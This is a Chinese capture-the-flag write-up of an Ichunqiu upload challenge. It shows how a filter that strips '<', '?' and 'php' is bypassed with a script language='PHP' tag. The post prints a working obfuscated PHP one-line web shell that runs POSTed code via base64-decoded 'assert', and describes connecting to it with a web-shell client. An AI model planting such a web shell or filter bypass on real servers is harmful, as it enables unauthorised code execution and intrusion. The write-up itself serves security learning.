百度杯-web-upload

Ichunqiu:百度杯-web-upload 题解

百度杯-web-upload

一、题目地址

Ichunqiu链接地址:https://www.ichunqiu.com/battalion?q=2597,题目提示,这是一道上传题。

点击生成的题目链接:

页面给出的是一个正常的上传文件的地方,我们查看一下源代码。

刚开始阅读源码的时候,感觉挺正常的,最后发现一注释吸引我的注意力,这是个坑,我看了半天都没反应过来。

截图上有个注释// references: http://kuwalab.hatenablog.jp/entry/2014/01/02/191821 ,这里成功的把我带偏了,我打开这个日本博客看了看,以为会有小姐姐,但是。。

却是一个技术博客,Google翻译看了一下,和本道题重要的无关,这里花费了我十多分钟来看 我擦。

二、解题思路

好了下面开始正常的操作了,一贯是打开Burpsuit上上代理,随便上传个py文件,发现并无做拦截处理,且页面无任何显示。

这时候想到了题目给的提示了:

比较敏感的将bp中的filename改为flag.php,接着尝试继续上传。

好了,这次我们从response包看到了返回信息,提示上传成功的文件在/u/flag.php,可以访问。我们打开flag.php

看到了我们上传的内容了,但是这是python文件,同样的上传了一个php一句话看看怎么样。

这时候注意到的是,一句话木马原先是:

<?php

$x=base64_decode("YXNzZXJ0");$x($_POST['c']);

$flag=1;

echo $flag;

?>

很明显,这是被过滤后的结果,导致php文件没有写入完整的一句话。

所以 过滤了什么了?<> ? php 还是什么字符串?

一个个的尝试,最后发现,三个字符都被过滤了。。

尝试大写的PHP无果

最后

换了一种PHP脚本语言的描述方式。

<script language=”php”></script>

接着尝试,无解析,PHP大写成功写入。

所以,最终的flag.php文件内容为

<script language="PHP"> $x=base64_decode("YXNzZXJ0");$x($_POST['c']);

$flag=1;

echo $flag;

</script>

这里写了一句话,用菜刀进行连接:

菜刀连接成功,读取flag.php文件:

至此,结束。

三、考点分析

这题主要的是看过滤条件,还有PHP作为脚本语言,有几种表示方式,写法。

发表评论

电子邮件地址不会被公开。 必填项已用*标注